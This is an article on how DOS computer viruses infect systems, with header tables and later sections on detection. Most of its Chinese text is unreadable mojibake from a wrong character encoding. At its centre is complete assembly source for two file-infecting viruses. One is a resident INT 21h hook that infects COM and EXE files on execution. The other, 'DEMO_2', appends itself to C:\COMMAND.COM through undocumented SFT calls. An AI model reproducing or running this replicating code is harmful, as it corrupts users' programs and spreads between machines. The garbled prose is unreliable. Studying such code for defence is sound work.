¥ÑµwºÐ±Ò°Êªº®ÉÔ¡M¥²¶·¾ÌÂǨâÓ¦a¤è©Ò¦s©ñªºµ{¦¡½X¡M¤@¬O¥Dn±Ò°Ê¸ê®Æ°Ï(master boot record) (!)¡M¤G¬O¨t²Î±Ò°Ê¸ê®Æ°Ï(system boot record) (!)¡C¥Dn±Ò°Ê¸ê®Æ°Ï°O¿ý¦³¤@¨Çµ{¦¡©M¸ê®Æ¡M¥Ñ³o¨Çµ{¦¡¥H¤Î¸ê®Æ·|«ü©wn°õ¦æþ¤@Ó¨t²Î±Ò°Ê¸ê®Æ°Ï¡C³q±`¥Dn±Ò°Ê¸ê®Æ°Ï¥u¦³¤@Ó¡M¦Ó¨t²Î±Ò°Ê¸ê®Æ°Ï¥i¯à·|¦³«Ü¦hÓ¡M¨C¤@ӨѤ@Ó¤À³Î°Ï¨Ï¥Î¡C
µwºÐªº±Ò°Ê°ÏÁöµM¨Ì¦UµwºÐ¦³©Ò®t²§¡M¦ý³q±`·|«O¯d¤@¾ãÓºÏy¥H¤WªºªÅ¶¡µ¹¥¦¡M¦Ó³o¨ÇªÅ¶¡¤j³¡¤À³£¤£·|³Q¨Ï¥Î¨ì¡M©ó¬Oµ¹¤F¯f¬r¤@ӫܦnªº´Ï¨¤§©Ò¡C
C. ¥Ñ³nºÐ¶}¾÷
µwºÐªº±Ò°ÊºÏ°Ï©T©w¦b²Ä0±¡M²Ä0ºÏy¡M²Ä1ӺϰϡC¥¦©Ò°O¿ýªºµ{¦¡½X«Üµu¡M¨ä¤¤¥¦°µªº²Ä¤@¥ó¨Æ´N¬O§i¶D¾÷¾¹¨ìþӺϰϥh§ä¨ä¥Lªº±Ò°Ê¸ê®Æ¡C¯f¬r«h¥i¥H¸ú¦b¬Y¨ÇºÏ°Ï¤¤¡M¨Ã¥B§â¨º¨ÇºÏ°Ï¼Ð¥Ü¦¨·lÃaªººÏ°Ï(!)¡C³o¼Ë´N¥i¥H«O»Ù¥¦ªºµ{¦¡½X¤£·|³Q»\±¼¡C
D. PC-DOS§@·~¨t²Î
±Ò°Ê¸ê®Æ°Ïªº¥Dn¤u§@´N¬O¸ü¤J§@·~¨t²Î¡C¥¦¥²¶·Åª¨ú IO.SYS¡MMSDOS.SYS¡M¥H¤Î COMMAND.COM¡C¦]¬°³o¨ÇÀɮצ³§@·~¨t²Î©Ò»Ýªº¸ê®Æ¡C§@·~¨t²Î§¹¦¨¤§«á¡M§ÚÌ´N¥i¥H¶}©lŪ¼gÀÉ®×(!)¡M¨Ï¥Î°O¾ÐÅé(!)¡M©Î¬O¨Ï¥Î¨ä¥Lªº¨t²Î¸ê·½(!)¡C©ó¬O¯f¬r´N¦³¥i¯à§ï¼gCOMMAND.COM©Î¬O¥´Â_¨Ï¥ÎªÌ¹ï¨t²Î¸ê·½ªºn¨D¡C¥¦§â¦Û¤v©ñ¦b¤@Ó±`¥Îªºµ{¦¡¸Ì¡M©Ò¥H¼W¥[¤F·P¬Vªº¾÷·|¡M¥t¥~¤]¥i¥H¤¤Â_¨Ï¥ÎªÌ¹ï¨t²Î¸ê·½ªº¯Á¨ú¡M¬Æ©Î§ïÅÜì¥ý¨Ï¥ÎªÌn°µªº¨Æ¡C
E. °õ¦æµ{¦¡
·í¨Ï¥ÎªÌ°õ¦æµ{¦¡ªº®ÉÔ¡M¦³þ¨Çµ{¦¡½X(!)³Q¥Î¨ì¤F©O¡H¥H¤UÁ|´XÓ±`¥Îªº¨Ò¤l¡J
¨C·í¨Ï¥ÎªÌn°õ¦æ¤@Óµ{¦¡®É¡M³£·|¥Î¨ì³o¨Çµ{¦¡½X©Î¨ä¥L¦³¥i¯à·P¬Vªºµ{¦¡½X¡C
F. CONFIG ©M AUTOEXEC
¨C·í±Ò°Ê¨t²Îªº®ÉÔ¡MCONFIG.SYS(!) ©M AUTOEXEC.BAT(!)·|§i¶D¨t²Î¥ý¥hŪ¨ú¬Y¨ÇÀɮסC¦pªG¯f¬rn«I¤J¨ä¤¤¤@ÓÀÉ¡Mªþ¥[¨ì¨ä¤¤¤@ÓÀɸ̡M¨º»ò¥¦±N·|¨C¤Ñ³Q°õ¦æ¡C³o¤]¬O¯f¬r¬¡ÅDªº¦n¾÷·|¡C
G. ½sĶµ{¦¡½X¡M¨Ï¥Î¨ç¦¡®w
n½sĶµ{¦¡½Xªº®ÉÔ¡M§ÚÌ·|¥Î¨ì«Ü¦hµ{¦¡¡M¨ä¤¤¤@Ó¬O½sĶ¾¹ªº¥»¨(!)¡C¦pªG½sĶ¾¹µ{¦¡·P¬V¤F¯f¬r¡M«Ü¦³¥i¯à·|´²¼½¨ì¨ä¥LªºÀÉ¡M¥]¬A¥¦©Ò½sĶ¥Xªºµ{¦¡¡C·í¤@Óµ{¦¡³Q½sĶ®É¡M¥²¶·¸g¹L link¡M«Ü¦³¥i¯à·| link ¤@Ө禡®w(!)¸Ìªºµ{¦¡¡M¦pªG¸Óµ{¦¡¥H·P¬V¤F¡M«h§Ú̽sĶ¥X¨Óªºµ{¦¡¤]´N·|³Q¯f¬r·P¬V¤F¡C
H. ¨Ï¥Î¥¨¶°¤å¥ó
³B²z¤å¥óªº³nÅé¥\¯à¤éº¥±j¤j¡M¦ý¬O¤]¦]¬°¨Ï¥Î¤F¥¨¶°¤å¥ó(!)¦Ó¼W²K¤F¥¨¶°¯f¬rªº°ÝÃD¡C¤@¯ë¥¨¶°¯f¬r(Macro Virus)±`¨£¦æ¬°¼Ò¦¡¦³¨âºØ¡J
¤@¯ë¤å¥ó®æ¦¡¨Ã¤£·|§t¦³¥ô¦ó¤@Ó¥¨¶°«ü¥O¡M©Ò¥H¥¨¶°¯f¬r¶i¦æ·P¬Vªººn°Ê§@¡M´N¬O±N¤@¯ëªº¤å¥ó®æ¦¡(doc)§ï¬°¼Ëª©®æ¦¡(dot)¡CÁa¨Ï¦p¦¹¡MÁo©úªº¥¨¶°¯f¬r¬°¤F¤£Åý¨Ï¥ÎªÌ»´©öªºµo²{Àɮפw¸g¤¤¬r¡M¦]¦¹¡M¥¦¨Ã¤£·|±N쥻ªº°ÆÀɦW(.doc)§ï±¼¡C ©Ò¥H¤¤¬rÀɮפ´³Q¥H¬°¬O.docªº°ÆÀɦW¡C
·í¤å¥ó®æ¦¡³Q§ïÅÜ«á¡M¥¨¶°¯f¬r´N¶}©l¶i¦æ·P¬V¡C¥¨¶°¯f¬r·P¬Vªº°Ê§@¬O³z¹L°õ¦æMacrocopyªº«ü¥O¨Ó§¹¦¨¡CMacrocopy·|±N¯f¬r¥¨¶°½Æ»s¤@¥÷¨ì³Q¶}±ÒªºÀɮשηs«Ø¥ßªºÀɮפ¤¡M¥H«K¤U¤@¦¸³o¨Ç±H¥DÀɮ׳Q¶}±Ò®É¡M¥i¦A«×´²¼½¥¨¶°¯f¬rªººØ¤l¡C
¦b¥¨¶°¯f¬r¾ãÓ·P¬V¹Lµ{¤¤¡Mnormal.dot §êºt¤F«D±`«nªº¨¤¦â¡C·í¨Ï¥ÎªÌ¶}±Ò¤@¥÷¤¤¬rªº¤å¥ó®É¡M¥¨¶°¯f¬r´N·|ÂǾ÷·P¬V normal.dot¡C¤§«á¡M¨C·í¨Ï¥ÎªÌ¶}±ÒWord½s¿è·s¤å¥ó®É¡M¥¨¶°¯f¬r«K·|±Nnormal.dot¤Wªº¯f¬r¥¨¶°½Æ»s¨ì·s¤å¥ó¤¤¡C¥i·Q¦Óª¾ªº¬O¡M³oÓ·s¤å¥ó¦b¦sÀɮɡM¤w¸g¬O¤@Ó¤£§é¤£¦©ªº¼Ëª©¤å¥ó¡M¸Ó¤å¥óªºªþÀɦW´N¬O.dot¡M°£«D¨Ï¥ÎªÌ¦b¦sÀɮɡM¦Û¦æ¥[¤Jªþ¦W.doc¡M n¤£µM¬O¨S¦³¨Ò¥~±¡§Îªº¡C
3.2 ¯f¬rµ{¦¡ªº¼g§@
¤F¸Ñ¤F¯f¬r¦p¦ó·P¬V¤§«á¡M§Ú̦A¨Ó¬Ý¬Ý¤@Ó¯f¬rµ{¦¡¨s³º¬O«ç»ò§¹¦¨ªº¡C¦b³o¤§«e¡Mº¥ý±j½Õ¡M¥»¤å¥HÀɮ׫¬¯f¬rªº¼g§@¬°¨Ò¡C¬JµM¬OÀɮ׫¬¯f¬r¡M¥¦n·P¬Vªº¥Dn¬O.COM©M.EXEÀÉ¡M©Ò¥Hº¥ý¥²¶·¤F¸Ñ³o¨âºØÀɮתºµ{¦¡«e¸m°Ï(PSP)¡M°O¸ü¤Fþ¨Ç¦³ÃöÀɮתº¸ê°T¡C
COMÀɪºPSP(¶È¨Ñ°Ñ¦Ò)¡J
0000H | dw OCD20H | INT 20H |
0002H | dw ¡H | ¥i¥Î°O¾ÐÅé³Ì¤j¸`¦ì§} |
0004H | db ¡H | |
0005H | db 5 dup(?) | ¥Î©ó§¹¦¨DOS INT 21Hªº¥\¯à©I¥s¡M¦¹®ÉCL = AH (OOH - 23H) |
000AH | dd ¡H | ì INT 22H ¤¤Â_ªº¶i¤J¦ì§} |
000EH | dd ¡H | ì INT 23H ¤¤Â_ªº¶i¤J¦ì§} |
0012H | dd ¡H | ì INT 24H ¤¤Â_ªº¶i¤J¦ì§} |
0016H | dw ¡H | ¤÷µ{¦¡ PSP ¦ì§} |
0018H | db 20 dup(?) | ÀÉ®×ÀY»Îªí (FHF)¡M¨M©w¸Ó¦æµ{¥i¥H¦P®É¶}20ÓÀÉ®× |
002CH | dw ¡H | Àô¹ÒÅܼưϪº¸`¦ì§} |
002EH | dd ¡H | °ïÅ|«ü¼Ð¬ö¿ý°Ï |
0032H | dw ¡H | ÀÉ®×ÀY»Îªíªº¤j¤p¡M¹w³]Ȭ°20 |
0034H | dd ¡H | ÀÉ®×ÀY»Îªíªº°_©l¦ì§}¡M¹w³]¬°DS¡J0018H |
0038H | dd ¡H | |
003CH | db ¡H | |
003DH | dw ¡H | |
003FH | db ¡H | |
0040H | dw ¡H | ©Ò¹ïÀ³ªºDOSª©¥» |
0042H | dw 14 dup(?) | |
0050H | db 3 dup(?) | INT 21H retf |
0053H | dw ¡H | |
0055H | db 7 dup(?) | FCB±±¨î¶ôªºÂX¥R³¡¤À |
005CH | db 16 dup(?) | ²Ä¤@ÓFCBªº±±¨î¶ô |
006CH | db 16 dup(?) | ²Ä¤GÓFCBªº±±¨î¶ô |
007CH | dd ? | |
0080H | db 80h dup(?) | ºÏºÐ¸ê®Æ¶Ç°e°Ï(DTA) |
EXEÀɪºPSP(¶È¨Ñ°Ñ¦Ò)¡J
0000H | dw ? | 'MZ'ªí¥Ü¬OEXEÀÉ¡M¦pªG¨S¦³DOS´N»{¬°¬OCOMÀÉ |
0002H | dw ? | EXEÀɮתø«×°£¥H512ªº¾l¼Æ |
0004H | dw ? | EXEÀɮתø«×°£¥H512ªº°Ó¼Æ |
0006H | dw ? | |
«©w¦ìªíªº¼Æ¥Ø\cell 0008H | dw ? | ÀÉÀYªºpara¼Æ |
000AH | dw ? | µ{¦¡©Ò»Ý³Ì¤Ö°O¾ÐÅé |
000CH | dw ? | µ{¦¡©Ò»Ý³Ì¦h°O¾ÐÅé |
000EH | dw ? | ªì©l¤ÆSSÈ¡M(¬Û¹ï©ó°_©l¸`¦ì§}) |
0010H | dw ? | SP |
0012H | dw ? | Checksum |
0014H | dw ? | IP |
0016H | dw ? | ªì©l¤ÆCSÈ¡M(¬Û¹ï©ó°_©l¸`¦ì§}) |
0018H | dw ? | «©w¦ìªí°_©lÈ¡M(¬Û¹ï©óÀÉÀY) |
·íCOMÀɳQ¸ü¤Jªº®ÉÔ¡MDS¡BES³£·|«ü¦VPSP¡M¦Ó PSPªº¤j¤p¬O100H bytes¡M©Ò¥H IP·|«ü¦V 0100H¡C·í¯f¬rnªþ¥[¨ìÀɮ׸̡M·|§â¥¦¦Û¤v¥[¦bÀɧÀ¡M¨Ã¥B¦bÀɮ׶}©lªº¦a¤è©ñ¤@¹D«ü¥O JMP xxxxH«ü¦V¯f¬r¡M¦Ó¯f¬r§ÀºÝ¦AJMP¦^쥻ªºµ{¦¡¥h°õ¦æ´N¥i¥H¤F¡C¦p¹Ï©Ò¥Ü¡J
¦p¦¹¤@¨Ó¡M¤¤¬rªºÀÉ®×´N·|¥ý¥h°õ¦æ¯f¬r¡M¦A§âÀɮ׶}ÀYªºJMP vir_ §ï¦^ì¨Óªºµ{¦¡½X¡M±µµÛ´N¸õ¦^ìµ{¦¡¥h°õ¦æ¤F¡C¤]¦³ªº¯f¬r¬O§â¯f¬r¥»Åé©ñ¦bÀɮתº¤@¶}ÀY¡M¦P¼Ë¤]¬O¥ý°õ¦æ¯f¬r¦A°õ¦æì¨Óªºµ{¦¡¡C
COMÀɪº¯ÊÂI¬OÀɮתø«×¤£¯à¶W¹L64K¡M¦Óµ{¦¡°õ¦æªº¶i¤JÂI©T©w¦bCS¡J0100Hªº¦ì¸m¡M¦ÓEXEÀÉ´N¨S¦³³o¨Ç¨î¡Mµ{¦¡½X¡B¸ê®Æ»P°ïÅ|¥i¥H§Q¥Î¤£¦Pªº°O¾ÐÅé¸`°Ï¡C¯f¬r·P¬VEXEÀɪº¤èªk´N¬O¡M±N¯f¬r¥[¦bÀɧÀ¡MµM«á±NÀÉÀYªºCS¡JIP»PSS¡JSP«ü¦V¯f¬rªºµ{¦¡¶}ÀY»P°ïÅ|¡C°õ¦æ§¹¯f¬r¡M¦A±NCS¡JIP»PSS¡JSP«ì´_¡M³Ì«á¦A°õ¦æìµ{¦¡¡C
±µµÛ§ÚÌ´N¨Ó¬Ý¬Ý¤@Ó¯f¬r½Xªº¨Ò¤l¡J
vir_size equ offset vir_end-offset start mem_size equ offset mem_end-offset start vir_addr equ 580h vir_mark equ 0e9h .286 .model tiny .code org 0 start: push es mov di,vir_addr+2 xor ax,ax mov es,ax ; 0:vir_addr ¬° cute Â褧³B call delta delta: pop si ; ¨ú±o¦Û¨ªº°¾²¾ sub si,offset delta-2 push cs pop ds std cmpsw ; ¤ñ¸û 0:vir_addr ¤§³B¬O§_¤w¸g¦³±`¾n cld mov cx,mem_size rep movsb ; ±N cute ·h²¾¨ì 0:vir_addr je run_host ; ¦pªG 0:vir_addr ¦´N¦³ copy ¤@¥÷ cute ; «h jmp¡A§_«hק襤Â_ mov bx,vir_addr/10h ; bx=±`¾n®Éªº segment mov al,offset int21 ; ax=«ü¦V cute ªº int 21h xchg ax,es:[bx+21h*4-vir_addr/10h] ; §ï¤¤Â_°¾²¾ ip stosw ; «O¦s줤Â_ xchg bx,es:[bx+21h*4-vir_addr/10h+2] ; §ï¤¤Â_°Ï¬q cs xchg bx,ax stosw ; «O¦s줤Â_ run_host: pop es ; «ì´_ es (=psp) lodsw ; si=si+2 lodsw ; si=si+2 cmp sp,0fffch jb exe_host ; sp<0fffch? ¦pªG¬O«h jmp (ªí¥Üì¨Ó³Q ; ·P¬VªºÀɮ׬° exe¡A§_«h¬° com) com_host: mov di,100h push di movsw ; «ì´_ìÀɮ׫e 4 bytes movsw ; ret ; return ¦Ü³Q§ÚÌ·P¬Vªº com file exe_host: lodsw ; ¨úì exe ÀÉÀYªº cs ¼W¶q, xchg di,ax ; ©ñ¨ì di mov bx,es ; bx=es=psp segment lea ax,[bx+di+10h] ; ax=ìÀÉÀYªº cs ¼W¶q+psp segment+10h push ax lodsw ; ¨úì exe ÀÉÀYªº ip È push ax mov ds,bx ; ds=bx=psp segment retf ; far return ¦Ü³Q§ÚÌ·P¬Vªº exe file int21: cmp ax,4b00h ; 4b00 (°õ¦æÀÉ®×)? jne i21_exit ; ¤£¬O«h jmp (¤£·P¬V) pusha push ds es mov ax,3d02h int 21h ; ¥HŪ/¼g¼Ò¦¡¶}ÀÉ xchg bx,ax ; bx=file handle push cs cs pop ds es ; ds=es=cs mov ah,3fh mov cx,18h mov dx,offset vir_end int 21h ; Ū¨úÀɮ׶}ÀY 18h bytes ¦Ü vir_end mov si,dx mov di,offset host_4_bytes mov ax,4202h xor cx,cx cwd int 21h ; ±NŪ/¼g«ü¼Ð²¾¦ÜÀɧÀ (¨ú±oÀɮתø«×) ; dx:ax=Àɮתø«× mov cl,vir_mark cmp byte ptr ds:[si],'M' ; exe file? je infect_exe ; ¦pªG¬O«h jmp to infect_exe infect_com: movsw ; «O¦sì com ÀÉ«e± 4 bytes movsw ; ¦Ü host_4_bytes xchg cx,ax ; cl=vir mark=0e9h¡A¦P®É¥ç¬O jmp code ; ax=Àɪø¡Axchg ¦Ü cx stosb xchg cx,ax ; xchg ¨ú¦^Àɮתø«× sub ax,3 ; ºâ¥X jmp ©Ò»Ýªº°¾²¾È stosw jmp infect_common infect_exe: cmp word ptr ds:[di+4+2],200h-vir_size ; offset 2=exe mod cmc ; ¦pªG exe mod<200h-vir_size¡A«h cmc ; ¤§«á¡Acf=0¡A§_«h cf=1 adc word ptr ds:[di+4+4],0 ; exe sector=exe sector+cf mov si,10h div si ; dx:ax/10h -> dx=¾l¼Æ (·P¬V«áªº ip È) ; ax=°Ó¼Æ (Àɪø/10h ªº°Ó) sub ax,ds:[di+4+8] ; offset 8=ÀÉÀYªºªø«× (¥H para ¬°³æ¦ì), ; ax=ax-ÀÉÀYªºªø«×=·P¬V«áªº cs ¼W¶q xchg dx,ds:[di+4+14h] ; offset 14h=exe ip xchg ax,ds:[di+4+16h] ; offset 16h=distance of exe cs stosw ; «O¦sì exe cs ¼W¶q xchg dx,ax stosw ; «O¦sì exe ip add di,12h ; offset 12h=check sum (¬d®Ö¦r¤¸) ; ¦¹³B¦s©ñ mark (0e9h) infect_common: cmp ds:[di],cl ; ¤ñ¸û¬O§_¦³ mark je close ; ¦p¹L¬O«h jmp to close¡AÃöÀɤ£¦A·P¬V mov ds:[di],cl ; ³] mark mov ah,40h mov cl,vir_size cwd int 21h ; ±N cute ¼g¦ÜÀɧÀ mov ax,4200h xor cx,cx int 21h ; ²¾Åª¼g«ü¼Ð¦ÜÀÉÀY mov ah,40h mov cl,18h mov dl,offset vir_end int 21h ; ¼g¤J (קï) ÀÉÀY close: mov ah,3eh int 21h ; ÃöÀÉ pop es ds popa i21_exit: db 0eah ; jmp far segment:offset ¦Üì int 21h ¤¤Â_ mem_end: old21 dw ?,? host_4_bytes db 0cdh,20h,0,0 vir_end: end start
²{¦b§Ú̦A¨Ó¤¶²Ð¥t¤@ºØ¤è«K¼g¯f¬rªº¤u¨ã¡M´N¬O§Q¥ÎDOSªº¨t²ÎÀɮתí(SFT)¡M¦p¥H¤U©Ò¦C¡J
°O¸ü¸ê®Æ | ||
°Ñ¦Ò¦Ü¦¹Àɪºhandle¼Æ | ||
¶}ÀɼҦ¡(¦pªG¬O§Q¥ÎFCB¨Ó¶}ÀÉ¡M«h bit15=1 ) | ||
ÀÉ®×ÄÝ©Ê | ||
¸Ë¸m¸ê°T( bit15 = 1ªí¥Ü¦¹Àɦb»·¤è¡Mbit14=1ªíÃöÀɮɤ£n³]Àɮפé´Á®É¶¡¡Mbit6=1Àɮש|¥¼³Q¼g¤J) | ||
¦pªG¬O¦r¤¸¸Ë¸m¡M«ü¦V¸Ë¸mÅX°Êµ{¦¡¡Q§_«h¬°«ü¦VDOSºÏºÐ°Ñ¼Æ°Ï¶ô(DPB)ªº«ü¼Ð¡C | ||
ÀÉ®×°_©lªººÏÂO(cluster) | ||
Àɮ׮ɶ¡ | ||
Àɮפé´Á | ||
Àɮפj¤p | ||
ÀÉ®×Ū¼g«ü¼Ð | ||
³Ì«á¤@¦¸¦s¨úªºcluster¤§¬Û¹ïcluster½s¸¹ | ||
Àɮץؿý¶i¤JÂIªººÏ°Ï½s¸¹ | ||
¤@ӺϰϤ¤¥i®e¯Ç¥Ø¿ý¼Æ¥Ø | ||
FCB®æ¦¡ªºÀɦW(µL¸ô®|¡MµL'.'¡M¨ä¾l¥Ñspace¸É¨¬ | ||
«ü¦V«e¤@ÓSFT¦@¥Î¬Û¦PÀɮתº«ü¼Ð | ||
¶}±ÒÀɮתººô¸ô¾÷¾¹½s¸¹ | ||
«ü¦VÀÉ®×¾Ö¦³ªÌªºPSP°Ï¬q | ||
¦bSHAREµ{¦¡¬q¤¤¦@¥Î¥Ø¿ýªº°¾²¾È | ||
³Ì«á¤@¦¸¦s¨úªºclusterªºµ´¹ïcluster½s¸¹ | ||
«ü¦VIFSÅX°Êµ{¦¡ªº«ü¼Ð |
¥t¥~¡M§ÚÌÁÙ»Ýn©I¥s¨âÓ¤¤Â_¡M³o¬ODOS¥¼¤½¶}ªº¥\¯à¡J
AX = 1220h BX = file handle ¶Ç¦^: CF = 1,¿ù»~ AL = 6 CF = 0,¦¨¥\ ES:DI«ü¦V¥Ø«eµ{§Ç¤¤,ÀÉ®×¥N½Xªº¤u§@Àɮתí®æ
AX = 1216h BX = ¤u§@Àɮתí®æªº½s¸¹ ¶Ç¦^: CF = 1,¿ù»~ CF = 0,¦¨¥\ ES:DI«ü¦VSFT
²{¦b§Ú̦b¨Ó¬Ý¬Ý§Q¥ÎSFT¨Ó¼g¯f¬rªº¨Ò¤l¡J
DEMO_2 SEGMENT ASSUME CS:DEMO_2,DS:DEMO_2 ORG 100h START: NOP ; NOP ; «O¯d 3 BYTES ªºªÅ¶¡ NOP ; VIR_START: ; ¦¹³B¤~¬O¯u¥¿¯f¬rµ{¦¡ªº¶}ºÝ CALL LOCATE ; ¥i¥H·Q¦¨ PUSH IP LOCATE: POP SI SUB SI,OFFSET LOCATE ; ´î±¼¦h¾lªºÈ¡A¦¹®É SI=°¾²¾È ; ¥Ñ©ó¦¹¬r¬O±µ¦bÀɮ׫ᱡA¦Ó³Q·P¬VªºÀɮפj¤p¤£¤@¡A©Ò¥H¯f¬r±µ¦bÀɮ׫᪺°¾²¾ ; ¤]·|¤£¤@©w¡A¦Ó·|³y¦¨ÅܼƵLªk©w¦ì¡A©Ò¥H§ÚÌn±oª¾°¾²¾¤F¦h¤Ö ; ¤U±µ{¦¡¥un²o¯A¨ì©M°O¾ÐÅé©w§}¦³Ãöªº³¡¥÷¡A³£·|¥[¤W [SI] °¾²¾È MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; «ì´_°O¾ÐÅ餤¡Aì MOV DS:[100h],AX ; Àɮ׶}ÀY¡A³Q¯f¬r MOV AL,DS:FIRST_3_BYTE[SI+2] ; §ï¹Lªº 3 BYTES MOV DS:[100h+2],AL ; ; ¦]¬°¦¹¬r²Ä¤@¦¸°õ¦æ®É¡A¤§«e¨Ã¨S¦³·P¬V¹LÀɮסA¦Ón«ì´_¦¹ 3 BYTES ®É·|»\¨ì ; ¯f¬r¥»¨¡A©Ò¥H¤@¶}©l§ÚÌ¥[¤F 3 Ó NOP ¨ÓªÅ¥X¦¹ªÅ¶¡¡AVIR_START ¤~¬O¯u¥¿ ; ªº¯f¬r½X¶}©l³B MOV AX,3D00h ; open file for read only LEA DX,FILE_NAME[SI] ; DS:DX «ü¦Vn¶}ªºÀɦW INT 21h ; ©I¥s¤¤Â_ ; ¶}Àɦ¨¥\«á¡A¶Ç¦^ AX=ÀÉ®×¥N½X (FILE HANDLE) MOV BX,AX ; BX = AX = FILE HANDLE PUSH BX ; save BX MOV AX,1220h INT 2Fh ; get JFT MOV AX,1216h XOR BH,BH MOV BL,ES:[DI] ; BL=JFT INT 2Fh ; get SFT POP BX ; restore BX MOV WORD PTR ES:[DI+2],2 ; file mode = 2 (read/write) MOV AL,ES:[DI+4] ; AL=file attribute PUSH AX ; save AX MOV BYTE PTR ES:[DI+4],0 ; set file attribute to zero MOV AH,3Fh ; ŪÀÉ®×\line MOV CX,3 ; Ū¨ú 3 BYTES LEA DX,FIRST_3_BYTE[SI] ; DS:DX «ü¦V©ñ¸ê®Æªº¦ì§} INT 21h ; ©I¥s¤¤Â_ ; ³oӰʧ@¬OŪ¨úÀɮ׶}ÀYªº 3 BYTES ¨ì FIRST_3_BYTE¡A«O¦s°_¨Ó MOV AX,ES:[DI+11h] ; AX=file length MOV ES:[DI+15h],AX ; set access point to file end ; ¦]¬°¬O .com ÀÉ¡A¤p©ó 64K¡A ; ©Ò¥H¥u³B¸Ì§C¦r²Õ´N¥i¥H¤F ; ³oӰʧ@¬O§âÀÉ®×Ū¼g«ü¼Ð²¾¨ìÀɧÀ¡A¦Ó¥Ñ DX:AX (DX = HIGH¡ACX = LOW) ¶Ç¦^ ; ²¾°Ê«áªº«ü¼Ð¹ï©óÀÉÀYªº¶ZÂ÷¡A©Ò¥H¦¹®É DX = 0 (COM Àɤp©ó 64K)¡AAX = ÀÉ®× ; ªø«× SUB AX,3 ; pºâ¥X JMP ªº°¾²¾È MOV WORD PTR DS:JMP_BYTE[SI+1],AX ; «O¦s°¾²¾È ; ³oӰʧ@¬Opºân±qÀÉÀY JMP ¦ÜÀɧÀ (¯f¬r½X¶}ºÝ) ©Ò»Ýªº°¾²¾ MOV AH,40h ; ¼gÀÉ®× MOV CX,VIR_SIZE ; CX = ¯f¬rªø«× LEA DX,VIR_START[SI] ; DS:DX «ü¦V¯f¬rµ{¦¡¶}ºÝ INT 21h ; ©I¥s¤¤Â_ ; ³oӰʧ@¬O§â¯f¬r¥»Åé¼g¤JÀɮסA¥Ñ©ó¤WӰʧ@¤w¸g§âÀɮ׫ü¼Ð²¾¨ìÀɧÀ¡A©Ò¥H ; ³o¦¸ªº¼g¤J¬O±qÀɧÀ¶}©l¡A¤]´N¬O»¡§â¯f¬rÅé¦ê±µ¦bÀɧÀ MOV WORD PTR ES:[DI+15h],0 ; ³oӰʧ@¬O§âÀÉ®×Ū¼g«ü¼Ð²¾¨ìÀÉÀY¡A¥H«KקïÀÉÀY«e 3 BYTES MOV AH,40h ; ¼gÀÉ®× MOV CX,3 ; ¼g¤J 3 BYTES LEA DX,JMP_BYTE[SI] ; DS:DX «ü¦V JMP ªºµ{¦¡½X INT 21h ; ©I¥s¤¤Â_ ; ³oӰʧ@¬O§â§ÚÌì¥ý©Ò°Oºâªº JMP ½X¼g¨ìÀÉÀY«e 3 BYTES¡A¦p¦¹¤@¨Óµ{¦¡¤@°õ ; ¦æ´N·|¸õ¦Ü¯f¬rµ{¦¡¶}ºÝ POP AX ; AX=file attribute MOV ES:[DI+4],AL ; restore file attribute OR WORD PTR ES:[DI+5],0100000000000000b ; ÃöÀɮɤ£n§ïÅܮɶ¡©M¤é´Á MOV AH,3Eh ; ÃöÀÉ®× INT 21h ; ©I¥s¤¤Â_ PUSH CS POP ES ; ¦]¬°¨úSFT ¦Ó§ïÅܤF es MOV AX,100h ; AX = 100h (COM Àɤ@¶}©l°õ¦æªº¦ì§}) PUSH AX ; PUSH µ¹¤UÓ RET «ü¥OªºÈ RET ; RET ¨ì 100h ; ¦]¬°¯f¬r¸Ó°µªº¬O³£°µ§¹¤F¡A©Ò¥Hªð¦^ 100h ¥h°õ¦æìÀÉ®× FILE_NAME DB 'C:\COMMAND.COM',0 FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (µ{¦¡µ²§ô) JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX MSG DB 'This is [DEMO_2] virus' VIR_SIZE EQU $-OFFSET VIR_START DEMO_2 ENDS END START
4.1 ¹w¨¾¯f¬r·P¬V
½Í¨ì¯f¬r¡MµL¥iÁקK¦a¡M¤]n°Q½×¦p¦ó¹w¨¾¹q¸£¯f¬rªº·P¬V¡C¹w¨¾ªº¤u§@°µ±o¦n¡M¤]¦³§U©ó°»¬d¤¤¬rì¦]¡M¸U¤@¤¤¬r¡M¤~¤ñ¸û®e©ö¬d¥X¨Ó·½¡M¨Ã¥B¹ï¯g¤UÃÄ¡C¥H¤U¬°¸Óª`·Nªº¨Æ¶µ¡J
4.2 ¨¾ªv¯f¬rªº§Þ³N
A. ¯f¬r½X±½´yªk
±N·sµo²{ªº¯f¬r¥[¥H¤ÀªR«á¡M®Ú¾Ú¨ä¯S¼x¡M½s¦¨¯f¬r½X¡M¥[¤J¸ê®Æ®w¤¤¡C¥H«á¨C·í°õ¦æ±½¬rµ{¦¡®É¡M«K¯à¥ß¨è±½´yµ{¦¡ÀɮסM¨Ã§@¯f¬r½X¤ñ¹ï¡M§Y¯à°»´ú¨ì¬O§_¦³¯f¬r¡C
±½´yªk¤S§Ö¤S¦³®Ä²v¡M¬O¤j¦h¼Æ¨¾¬r³nÅé±Ä¥Îªº¤è¦¡¡M¦ý¨ä¯ÊÂI¬OµLªk°»´ú¨ì¥¼ª¾ªº·s¯f¬r¤Î¥HÅܺدf¬r¡C
B. Check-sum
®Ú¾Ú¨CÓµ{¦¡ªºÀɮצWºÙ¡B¤j¤p¡B®É¶¡¡B¤é´Á¤Î¤º®e¡M¥[Á`¬°¤@ÓÀˬd½X¡M¦A±NÀˬd½Xªþ©óµ{¦¡ªº«á±¡M©Î¬O±N©Ò¦³Àˬd½X©ñ¦b¦P¤@Ó¸ê®Æ®w¤¤¡M¦A§Q¥Î¦¹Check-sum¨t²Î¡M°lÂܨðO¿ý¨CÓµ{¦¡ªºÀˬd½X¬O§_¾D§ó§ï¡M¥H§PÂ_¬O§_¤¤¬r¡C³oºØ§Þ³N¥i°»´ú¨ì¦U¦¡ªº¯f¬r¡M¦ý³Ì¤jªº¯ÊÂI´N¬O»~§PÂ_°ª¡M¥BµLªk½T»{¬OþºØ¯f¬r·P¬Vªº¡C¹ï©óÁô§Î¸¾÷«¬¯f¬r¡A¥çµLªk°»´ú¨ì¡C
C. ¤H¤u´¼¼z³´¨À(Rule-based)
